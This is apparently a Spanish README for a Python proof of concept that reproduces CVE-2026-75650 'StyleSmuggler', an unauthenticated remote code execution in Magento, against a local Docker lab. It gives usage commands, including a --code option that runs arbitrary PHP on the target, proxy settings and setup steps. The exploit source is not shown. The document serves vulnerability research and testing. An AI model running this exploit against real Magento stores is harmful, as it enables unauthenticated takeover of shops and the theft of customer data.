
PoC en Python que reproduce CVE-2026-75650 StyleSmuggler, un RCE no autenticado en Magento mediante envenenamiento de informes y renderizado de pagos fallidos, con verificación de canary.
Repositorio de investigación privado para la reproducción únicamente por HTTP de StyleSmuggler, CVE-2026-75650, contra un laboratorio local de Magento Open Source.
Lee el recorrido técnico completo en Magento StyleSmuggler RCE: Report Poisoning to Code Execution.
El PoC en Python realiza la secuencia completa sin autenticación:
type, text y styles en la
cadena de consulta;Nunca copia un helper dentro del contenedor ni invoca el escáner a través de Docker. La biblioteca estándar de Python es suficiente.
python3 exploit.py --target http://localhost:18082
La salida final debe contener RCE VERIFIED y el mismo marcador fresco
STYLESMUGGLER_RUN_... impreso anteriormente en esa ejecución. Un canario existente
no puede satisfacer la comprobación porque cada ejecución genera un nuevo marcador.
La ruta del informe debe ser la ruta vista por el proceso PHP de destino. Anúlala cuando Magento use otro document root:
python3 exploit.py \
--target http://localhost:18082 \
--report-dir /srv/magento/var/report
Pasa sentencias PHP sin <?php ni ?>:
python3 exploit.py \
--target http://localhost:18082 \
--code 'file_put_contents(getcwd()."/custom-test.txt", "PHP ".PHP_VERSION.PHP_EOL);'
curl -sS http://localhost:18082/custom-test.txt
El PoC escribe su marcador de verificación fresco antes de ejecutar el fragmento proporcionado y aún verifica ese marcador después.
Cada petición, incluido el envenenamiento del informe y la obtención final del canario, puede enviarse a través de un proxy HTTP:
python3 exploit.py \
--target http://localhost:18082 \
--proxy http://127.0.0.1:8082
Añade --proxy-insecure para un objetivo HTTPS cuyo certificado interceptado no sea
de confianza para Python.
curl_failed_payment.sh realiza las cuatro peticiones de la Etapa 2 y etiqueta el
componente de Magento alcanzado por cada petición. Requiere curl, jq y
openssl:
./curl_failed_payment.sh /var/www/html/var/report/REPORT_ID
Establece otro objetivo o listener de Burp a través de variables de entorno:
MAGENTO_URL=http://localhost:18082 \
BURP_PROXY=http://127.0.0.1:8082 \
./curl_failed_payment.sh /var/www/html/var/report/REPORT_ID
docker-compose.yml proporciona servicios aislados de MySQL, OpenSearch y PHP/Apache
en 127.0.0.1:18082. Espera un árbol de código fuente de Magento instalado en
./magento2-src.
La validación limpia final utilizó el commit de Magento:
f8405be831efa461ec18cc5a637cd98afa767015
Clona el código fuente e instala sus dependencias de Composer antes de ejecutar el
proceso normal setup:install de Magento:
git clone --filter=blob:none --branch 2.4-develop \
https://github.com/magento/magento2.git magento2-src
git -C magento2-src checkout f8405be831efa461ec18cc5a637cd98afa767015
docker compose build web
docker compose up -d db opensearch
docker compose run --rm web composer install --no-interaction
Después de que Magento esté instalado con el host de base de datos db, el host de OpenSearch
opensearch y la URL base http://localhost:18082/, inicia el servicio web:
docker compose up -d web
docker compose ps